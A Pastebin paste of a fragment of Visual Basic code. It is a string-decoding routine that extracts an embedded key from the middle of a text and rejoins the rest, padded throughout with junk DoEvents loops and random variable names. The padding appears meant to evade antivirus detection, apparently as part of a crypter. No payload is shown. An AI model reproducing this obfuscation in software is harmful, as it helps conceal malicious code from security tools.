  900. For eZEbnycl = 0 To 8
  901. Dim NUIiUfdf As Integer
  902. For NUIiUfdf = 0 To 5
  903. DoEvents
  904. Next NUIiUfdf
  905. DoEvents
  906. Next eZEbnycl
  907. Dim shTbpCsi As Integer
  908. For shTbpCsi = 0 To 7
  909. DoEvents
  910. Next shTbpCsi
  911. strEncKey = vbNullString
  912. Dim RcbHqCoO As Integer
  913. For RcbHqCoO = 0 To 7
  914. Dim kfGOluwc As Integer
  915. For kfGOluwc = 0 To 8
  916. DoEvents
  917. Next kfGOluwc
  918. DoEvents
  919. Next RcbHqCoO
  920. Dim mGzcbAox As Integer
  921. For mGzcbAox = 0 To 9
  922. DoEvents
  923. Next mGzcbAox
  924. nLenght = Len(strText) - nCharSize
  925. Dim ffZhLAUb As Integer
  926. For ffZhLAUb = 0 To 1
  927. Dim FJTJoeJE As Integer
  928. For FJTJoeJE = 0 To 9
  929. DoEvents
  930. Next FJTJoeJE
  931. DoEvents
  932. Next ffZhLAUb
  933. Dim ohrYeEHy As Integer
  934. For ohrYeEHy = 0 To 4
  935. DoEvents
  936. Next ohrYeEHy
  937. nLeft = nLenght \ 2
  938. Dim bLHpiNmD As Integer
  939. For bLHpiNmD = 0 To 9
  940. Dim MeiZNZjs As Integer
  941. For MeiZNZjs = 0 To 7
  942. DoEvents
  943. Next MeiZNZjs
  944. DoEvents
  945. Next bLHpiNmD
  946. Dim ZDeSZZcZ As Integer
  947. For ZDeSZZcZ = 0 To 4
  948. DoEvents
  949. Next ZDeSZZcZ
  950. strLeft = Left(strText, nLeft)
  951. Dim MnwJSZGx As Integer
  952. For MnwJSZGx = 0 To 7
  953. Dim WbjbPMzL As Integer
  954. For WbjbPMzL = 0 To 4
  955. DoEvents
  956. Next WbjbPMzL
  957. DoEvents
  958. Next MnwJSZGx
  959. Dim OrLWsXrg As Integer
  960. For OrLWsXrg = 0 To 8
  961. DoEvents
  962. Next OrLWsXrg
  963. nRight = nLenght - nLeft
  964. Dim lnLzRSNw As Integer
  965. For lnLzRSNw = 0 To 8
  966. Dim dYEMoned As Integer
  967. For dYEMoned = 0 To 1
  968. DoEvents
  969. Next dYEMoned
  970. DoEvents
  971. Next lnLzRSNw
  972. Dim VXsobNdU As Integer
  973. For VXsobNdU = 0 To 8
  974. DoEvents
  975. Next VXsobNdU
  976. strRight = Right(strText, nRight)
  977. Dim WmKpDuNW As Integer
  978. For WmKpDuNW = 0 To 7
  979. Dim YWcBnTbD As Integer
  980. For YWcBnTbD = 0 To 8
  981. DoEvents
  982. Next YWcBnTbD
  983. DoEvents
  984. Next WmKpDuNW
  985. Dim lAaVYrTH As Integer
  986. For lAaVYrTH = 0 To 8
  987. DoEvents
  988. Next lAaVYrTH
  989. strEncKey = Mid(strText, nLeft + 1, nCharSize)
  990. Dim hrkomZKq As Integer
  991. For hrkomZKq = 0 To 7
  992. Dim UzxLlltj As Integer
  993. For UzxLlltj = 0 To 5
  994. DoEvents
  995. Next UzxLlltj
  996. DoEvents
  997. Next hrkomZKq
  998. Dim uVcnjWka As Integer
  999. For uVcnjWka = 0 To 7
  1000. DoEvents
  1001. Next uVcnjWka
  1002. strEncKey = ZrXYlHQ(strEncKey)
  1003. Dim JCjkRCJP As Integer
  1004. For JCjkRCJP = 0 To 4
  1005. Dim eupEbENt As Integer
  1006. For eupEbENt = 0 To 3
  1007. DoEvents
  1008. Next eupEbENt
  1009. DoEvents
  1010. Next JCjkRCJP
  1011. Dim EXPkgQDr As Integer
  1012. For EXPkgQDr = 0 To 7
  1013. DoEvents
  1014. Next EXPkgQDr
  1015. nEncKey = Val(Trim(strEncKey))
  1016. Dim GQakkhDM As Integer
  1017. For GQakkhDM = 0 To 9
  1018. Dim avmpMATJ As Integer
  1019. For avmpMATJ = 0 To 3
  1020. DoEvents
  1021. Next avmpMATJ
  1022. DoEvents
  1023. Next GQakkhDM
  1024. Dim eypDlEBt As Integer
  1025. For eypDlEBt = 0 To 8
  1026. DoEvents
  1027. Next eypDlEBt
  1028. strText = strLeft + strRight
  1029. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top